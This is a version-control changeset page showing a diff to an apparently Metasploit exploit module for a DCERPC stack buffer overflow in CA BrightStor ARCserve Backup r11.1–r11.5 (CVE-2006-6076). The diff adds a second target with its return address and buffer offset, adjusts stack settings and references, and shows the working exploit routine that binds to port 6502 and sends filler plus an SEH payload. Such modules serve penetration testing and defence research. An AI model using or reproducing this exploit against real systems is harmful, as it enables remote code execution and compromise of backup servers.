Changeset 5476

Show
Ignore:
Timestamp:
04/16/08 08:08:11 (4 weeks ago)
Author:
patrickw
Message:

Updated targets, references.

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/exploits/windows/brightstor/tape_engine.rb

    r4419 r5476  
    11## 
    2 # $Id:
     2# $Id
    33## 
    44 
     
    2525                        'Description'    => %q{ 
    2626                                This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup 
    27                                 11.5. By sending a specially crafted DCERPC request, an attacker could overflow the 
    28                                 buffer and execute arbitrary code.  
     27                                r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow 
     28                                the buffer and execute arbitrary code.  
    2929                        }, 
    30                         'Author'         => [ 'MC' ], 
     30                        'Author'         => [ 'MC', 'patrick' ], 
    3131                        'License'        => MSF_LICENSE, 
    3232                        'Version'        => '$Revision$', 
     
    3535                                        [ 'CVE', '2006-6076' ], 
    3636                                        [ 'BID', '21221' ], 
     37                                        [ 'OSVDB', '30637' ], 
     38                                        [ 'URL', 'http://www.milw0rm.com/exploits/3086' ], 
     39                                        [ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ], 
    3740                                ], 
    3841                        'Privileged'     => true, 
     
    4548                                        'Space'    => 500, 
    4649                                        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 
    47                                         'StackAdjustment' => -3500, 
     50                                        'StackAdjustment' => -9500, 
    4851                                }, 
    4952                        'Platform' => 'win', 
    5053                        'Targets'  => 
    5154                                        [  
    52                                                 [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ], 
    53                                         ],       
     55                                                [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004 
     56                                                [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/???? 
     57                                        ], 
    5458                        'DisclosureDate' => 'Nov 21 2006', 
    55                         'DefaultTarget' => 0)) 
     59                        'DefaultTarget' => 1)) 
    5660 
    57                         register_options([ Opt::RPORT(6502) ], self.class)      
     61                        register_options([ Opt::RPORT(6502) ], self.class) 
    5862        end 
    5963 
    6064        def exploit 
    6165                connect 
    62                  
     66 
    6367                handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) 
    6468                print_status("Binding to #{handle} ...") 
     
    7175 
    7276                dcerpc.call(43, request) 
    73         
    74                 filler = "\x10\x09\xf9\x77" + rand_text_english(1132
     77 
     78                filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset']
    7579                seh    = generate_seh_payload(target.ret) 
    7680                sploit = filler + seh 
    7781 
    7882                print_status("Trying target #{target.name}...") 
    79           
     83 
    8084                        begin 
    8185                                dcerpc_call(38, sploit) 
     
    8892 
    8993end 
    90 end     
     94end